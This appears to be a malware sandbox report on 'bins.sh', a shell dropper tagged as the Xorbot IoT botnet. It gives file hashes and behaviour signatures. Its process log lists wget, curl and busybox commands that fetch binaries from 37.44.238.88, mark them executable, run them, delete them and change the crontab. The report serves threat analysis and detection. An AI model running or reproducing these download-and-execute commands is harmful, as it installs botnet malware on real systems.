Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/02/2025, 08:07

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ef10152fac7e93f56a68778af04b375b

  • SHA1

    4270c209c09005b135f3588743b2be59883954db

  • SHA256

    09f4674d9d2939b651ef917948770c92e3466dc2a6c7c1aef1636178154cf1a4

  • SHA512

    60b92d328a0130a183580bc25aa252a86534a66943b4a906f0bc3881fe8667c4270f12e7b7e9c37748512c3c620a25c4fdfbf3e4ff5aec4f606ab03772254f40

  • SSDEEP

    192:S9jIb8YgcVAQQceCjhVH5J85tPhVh0Yg0AQQceCvu:SJIFVAQQceCH5K5bAQQceC2

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2153) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1519
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1520
      • /usr/bin/wget
        wget http://37.44.238.88/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        2⤵
        • Writes file to tmp directory
        PID:1521
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        2⤵
        • Writes file to tmp directory
        PID:1525
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        2⤵
        • Writes file to tmp directory
        PID:1526
      • /bin/chmod
        chmod 777 6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        2⤵
        • File and Directory Permissions Modification
        PID:1527
      • /tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        ./6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        2⤵
          PID:1528
        • /bin/rm
          rm 6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
          2⤵
            PID:1530
          • /usr/bin/wget
            wget http://37.44.238.88/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            2⤵
            • Writes file to tmp directory
            PID:1531
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            2⤵
            • Writes file to tmp directory
            PID:1532
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            2⤵
            • Writes file to tmp directory
            PID:1533
          • /bin/chmod
            chmod 777 HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            2⤵
            • File and Directory Permissions Modification
            PID:1534
          • /tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            ./HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            2⤵
              PID:1535
            • /bin/rm
              rm HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
              2⤵
                PID:1537
              • /usr/bin/wget
                wget http://37.44.238.88/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                2⤵
                • Writes file to tmp directory
                PID:1538
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                2⤵
                • Writes file to tmp directory
                PID:1539
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                2⤵
                • Writes file to tmp directory
                PID:1540
              • /bin/chmod
                chmod 777 hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                2⤵
                • File and Directory Permissions Modification
                PID:1541
              • /tmp/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                ./hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                2⤵
                  PID:1542
                • /bin/rm
                  rm hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                  2⤵
                    PID:1544
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    2⤵
                    • Writes file to tmp directory
                    PID:1545
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    2⤵
                    • Writes file to tmp directory
                    PID:1546
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    2⤵
                    • Writes file to tmp directory
                    PID:1547
                  • /bin/chmod
                    chmod 777 fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1548
                  • /tmp/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    ./fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    2⤵
                      PID:1549
                    • /bin/rm
                      rm fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                      2⤵
                        PID:1551
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        2⤵
                        • Writes file to tmp directory
                        PID:1552
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        2⤵
                        • Writes file to tmp directory
                        PID:1553
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        2⤵
                        • Writes file to tmp directory
                        PID:1554
                      • /bin/chmod
                        chmod 777 lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1555
                      • /tmp/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        ./lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        2⤵
                          PID:1556
                        • /bin/rm
                          rm lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                          2⤵
                            PID:1558
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            2⤵
                            • Writes file to tmp directory
                            PID:1559
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            2⤵
                            • Writes file to tmp directory
                            PID:1560
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            2⤵
                            • Writes file to tmp directory
                            PID:1561
                          • /bin/chmod
                            chmod 777 m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1562
                          • /tmp/m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            ./m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            2⤵
                              PID:1563
                            • /bin/rm
                              rm m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                              2⤵
                                PID:1565
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1566
                              • /usr/bin/curl
                                curl -O http://37.44.238.88/bins/xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1567
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1568
                              • /bin/chmod
                                chmod 777 xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1569
                              • /usr/bin/crontab
                                crontab -l
                                2⤵
                                  PID:1573
                                • /usr/bin/crontab
                                  crontab -
                                  2⤵
                                  • Creates/modifies Cron job
                                  PID:1575
                                • /bin/rm
                                  rm xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:1577
                                • /usr/bin/wget
                                  wget http://37.44.238.88/bins/ELV315yAbk4nBmaxzbtTLyd7N1itVvqsYm
                                  2⤵
                                    PID:1580

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                • /tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                  Download Submit

                                • /tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                  Download Submit

                                • /tmp/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  Download Submit

                                • /tmp/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                  Download Submit

                                • /tmp/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                  Download Submit

                                • /tmp/m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                  Download Submit

                                • /tmp/xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s
                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  Download Submit

                                • /var/spool/cron/crontabs/tmp.6vsRaS
                                  Filesize

                                  210B

                                  MD5

                                  12200934963edd2a89b996ae507aa2c5

                                  SHA1

                                  077319ffcccfdb205709c14323a91e6bcba0082e

                                  SHA256

                                  bdc15dc489e94543d317002cffb5c2cea936125c55a8074199e522709ac8c5c8

                                  SHA512

                                  1b6905d1273537a3452b8517612e15b27630d40d4059e0bb300165d820a7e01c433b1a2bafd03f3f09c932bc8b4af86fb28ed7e4e00687ec3789c2472ca6713a

                                  Download Submit